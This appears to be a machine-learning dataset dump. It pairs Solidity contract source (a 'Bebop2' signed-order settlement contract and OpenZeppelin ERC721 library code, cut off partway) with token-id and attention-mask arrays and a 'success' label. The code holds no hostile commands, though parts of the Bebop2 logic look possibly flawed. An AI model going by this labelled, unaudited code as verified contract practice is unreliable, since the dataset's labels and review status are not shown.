source_code
stringlengths 52
864k
| success
stringclasses 1
value | input_ids
list | attention_mask
list |
|---|---|---|---|
//SPDX-License-Identifier: UNLICENSED
pragma experimental ABIEncoderV2;
pragma solidity >=0.7.0 <0.9.0;
interface IERC20 {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
pragma solidity >=0.7.0 <0.9.0;
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
pragma solidity >=0.7.0 <0.9.0;
contract Bebop2 {
event OrderExecuted(
address maker_address,
address taker_address,
address base_token,
address quote_token,
uint256 base_quantity,
uint256 quote_quantity,
address receiver
);
event OrderExecuted2(
address maker_address,
address taker_address,
address[] base_tokens,
address quote_token,
uint256[] base_quantities,
uint256 quote_quantity,
address receiver
);
event OrderExecuted3(
address maker_address,
address taker_address,
address base_token,
address[] quote_tokens,
uint256 base_quantity,
uint256[] quote_quantities,
address receiver
);
uint256 chainId = block.chainid;
address verifyingContract = address(this);
string private constant EIP712_DOMAIN =
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)";
bytes32 public constant EIP712_DOMAIN_TYPEHASH =
keccak256(abi.encodePacked(EIP712_DOMAIN));
address constant ETH_ADD = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Order {
// one to one
uint256 expiry;
address taker_address;
address base_token;
address quote_token;
uint256 base_quantity;
uint256 quote_quantity;
address receiver;
}
struct Order2 {
//Many to one
uint256 expiry;
address taker_address;
bytes32 base_tokens;
address quote_token;
bytes32 base_quantities;
uint256 quote_quantity;
address receiver;
}
struct Order3 {
//One to many
uint256 expiry;
address taker_address;
address base_token;
bytes32 quote_tokens;
uint256 base_quantity;
bytes32 quote_quantities;
address receiver;
}
string constant ORDER_TYPE =
"Order(uint256 expiry,address taker_address,address base_token,address quote_token,uint256 base_quantity,uint256 quote_quantity,address receiver)";
bytes32 constant ORDER_TYPEHASH = keccak256(abi.encodePacked(ORDER_TYPE));
string constant ORDER_TYPE2 =
"Order2(uint256 expiry,address taker_address,bytes32 base_tokens,address quote_token,bytes32 base_quantities,uint256 quote_quantity,address receiver)";
bytes32 constant ORDER_TYPEHASH2 = keccak256(abi.encodePacked(ORDER_TYPE2));
string constant ORDER_TYPE3 =
"Order3(uint256 expiry,address taker_address,address base_token,bytes32 quote_tokens,uint256 base_quantity,bytes32 quote_quantities,address receiver)";
bytes32 constant ORDER_TYPEHASH3 = keccak256(abi.encodePacked(ORDER_TYPE3));
bytes32 private DOMAIN_SEPARATOR;
mapping(bytes32 => bool) public Signatures;
constructor() {
DOMAIN_SEPARATOR = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256("Bebop2"),
keccak256("1"),
chainId,
verifyingContract
)
);
}
function getRsv(bytes memory sig)
public
pure
returns (
bytes32,
bytes32,
uint8
)
{
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := and(mload(add(sig, 65)), 255)
}
if (v < 27) v += 27;
return (r, s, v);
}
function hashTokens(address[] memory tokens) public pure returns (bytes32) {
return keccak256(abi.encode(tokens));
}
function hashTokenQuantities(uint256[] memory token_quantities)
public
pure
returns (bytes32)
{
return keccak256(abi.encode(token_quantities));
}
function hashOrder(Order memory order) private view returns (bytes32) {
return
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
ORDER_TYPEHASH,
order.expiry,
order.taker_address,
order.base_token,
order.quote_token,
order.base_quantity,
order.quote_quantity,
order.receiver
)
)
)
);
}
function hashOrder2(Order2 memory order) private view returns (bytes32) {
return
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
ORDER_TYPEHASH2,
order.expiry,
order.taker_address,
order.base_tokens,
order.quote_token,
order.base_quantities,
order.quote_quantity,
order.receiver
)
)
)
);
}
function hashOrder3(Order3 memory order) private view returns (bytes32) {
return
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
ORDER_TYPEHASH3,
order.expiry,
order.taker_address,
order.base_token,
order.quote_tokens,
order.base_quantity,
order.quote_quantities,
order.receiver
)
)
)
);
}
function assertValidOrder(Order memory order, bytes memory sig)
public
view
returns (bytes32)
{
(bytes32 r, bytes32 s, uint8 v) = getRsv(sig);
bytes32 h = hashOrder(order);
address trader = ecrecover(h, v, r, s);
require(trader == order.taker_address, "Invalid signature");
require(msg.sender != trader, "Maker/taker must be different address");
require(order.expiry > block.timestamp, "Signature expired");
require(
order.base_quantity > 0 && order.quote_quantity > 0,
"Invalid base/quote amount"
);
require(!Signatures[h], "Signature reuse"); //Ensure no replay attacks
return h;
}
function assertValidOrder2(
Order2 memory order,
bytes memory sig,
address[] memory base_tokens,
uint256[] memory base_quantities
) public view returns (bytes32) {
(bytes32 r, bytes32 s, uint8 v) = getRsv(sig);
bytes32 h = hashOrder2(order);
address trader = ecrecover(h, v, r, s);
require(trader == order.taker_address, "Invalid signature");
require(
order.base_tokens == keccak256(abi.encode(base_tokens)),
"base token hash mismatch"
);
require(
order.base_quantities == keccak256(abi.encode(base_quantities)),
"base quantities hash mismatch"
);
require(msg.sender != trader, "Maker/taker must be different address");
require(order.expiry > block.timestamp, "Signature expired");
require(!Signatures[h], "Signature reuse"); //Ensure no replay attacks
return h;
}
function assertValidOrder3(
Order3 memory order,
bytes memory sig,
address[] memory quote_tokens,
uint256[] memory quote_quantities
) public view returns (bytes32) {
(bytes32 r, bytes32 s, uint8 v) = getRsv(sig);
bytes32 h = hashOrder3(order);
address trader = ecrecover(h, v, r, s);
require(trader == order.taker_address, "Invalid signature");
require(
order.quote_tokens == keccak256(abi.encode(quote_tokens)),
"quote tokens hash mismatch"
);
require(
order.quote_quantities == keccak256(abi.encode(quote_quantities)),
"quote quantities hash mismatch"
);
require(msg.sender != trader, "Maker/taker must be different address");
require(order.expiry > block.timestamp, "Signature expired");
require(!Signatures[h], "Signature reuse"); //Ensure no replay attacks
return h;
}
function makerTransferFunds(
address from,
address to,
uint256 quantity,
address token
) private returns (bool) {
if (token == ETH_ADD) {
require(msg.value == quantity);
payable(to).transfer(msg.value);
} else {
require(IERC20(token).transferFrom(from, to, quantity));
}
return true;
}
//Can only be called by anyone with the signature from trader
function SettleOrder(Order memory order, bytes memory sig)
public
payable
returns (bool)
{
bytes32 h = assertValidOrder(order, sig);
Signatures[h] = true;
require(
makerTransferFunds(
msg.sender,
order.receiver,
order.quote_quantity,
order.quote_token
)
);
require(
IERC20(order.base_token).transferFrom(
order.taker_address,
msg.sender,
order.base_quantity
)
);
emit OrderExecuted(
msg.sender,
order.taker_address,
order.base_token,
order.quote_token,
order.base_quantity,
order.quote_quantity,
order.receiver
);
return true;
}
//Can only be called by anyone with the signature from trader
function SettleOrder2(
Order2 memory order,
bytes memory sig,
address[] memory base_tokens,
uint256[] memory base_quantities
) public payable returns (bool) {
bytes32 h = assertValidOrder2(order, sig, base_tokens, base_quantities);
Signatures[h] = true;
require(
makerTransferFunds(
msg.sender,
order.receiver,
order.quote_quantity,
order.quote_token
)
);
for (uint256 i = 0; i < base_tokens.length; i++) {
require(
IERC20(address(base_tokens[i])).transferFrom(
order.taker_address,
msg.sender,
base_quantities[i]
)
);
}
emit OrderExecuted2(
msg.sender,
order.taker_address,
base_tokens,
order.quote_token,
base_quantities,
order.quote_quantity,
order.receiver
);
return true;
}
//Can only be called by anyone with the signature from trader
function SettleOrder3(
Order3 memory order,
bytes memory sig,
address[] memory quote_tokens,
uint256[] memory quote_quantities
) public payable returns (bool) {
bytes32 h = assertValidOrder3(
order,
sig,
quote_tokens,
quote_quantities
);
Signatures[h] = true;
for (uint256 i = 0; i < quote_tokens.length; i++) {
require(
makerTransferFunds(
msg.sender,
order.receiver,
quote_quantities[i],
quote_tokens[i]
)
);
}
require(
IERC20(address(order.base_token)).transferFrom(
order.taker_address,
msg.sender,
order.base_quantity
)
);
emit OrderExecuted3(
msg.sender,
order.taker_address,
order.base_token,
quote_tokens,
order.base_quantity,
quote_quantities,
order.receiver
);
return true;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1026,
1014,
1012,
1023,
1012,
1014,
1025,
8278,
29464,
11890,
11387,
1063,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
3853,
2171,
1006,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1026,
1014,
1012,
1023,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1062,
1007,
1063,
5478,
1006,
1006,
1062,
1027,
1060,
1009,
1061,
1007,
1028,
1027,
1060,
1010,
1000,
16233,
1011,
8785,
1011,
5587,
1011,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1062,
1007,
1063,
5478,
1006,
1006,
1062,
1027,
1060,
1011,
1061,
1007,
1026,
1027,
1060,
1010,
1000,
16233,
1011,
8785,
1011,
4942,
1011,
2104,
12314,
1000,
1007,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1062,
1007,
1063,
5478,
1006,
1061,
1027,
1027,
1014,
1064,
1064,
1006,
1062,
1027,
1060,
1008,
1061,
1007,
1013,
1061,
1027,
1027,
1060,
1010,
1000,
16233,
1011,
8785,
1011,
14163,
2140,
1011,
2058,
12314,
1000,
1007,
1025,
1065,
1065,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1026,
1014,
1012,
1023,
1012,
1014,
1025,
3206,
2022,
5092,
2361,
2475,
1063,
2724,
2344,
10288,
8586,
12926,
1006,
4769,
9338,
1035,
4769,
1010,
4769,
2202,
2099,
1035,
4769,
1010,
4769,
2918,
1035,
19204,
1010,
4769,
14686,
1035,
19204,
1010,
21318,
3372,
17788,
2575,
2918,
1035,
11712,
1010,
21318,
3372,
17788,
2575,
14686,
1035,
11712,
1010,
4769,
8393,
1007,
1025,
2724,
2344,
10288,
8586,
12926,
2475,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
*Submitted for verification at polygonscan.com on 2022-01-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-12-18
*/
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
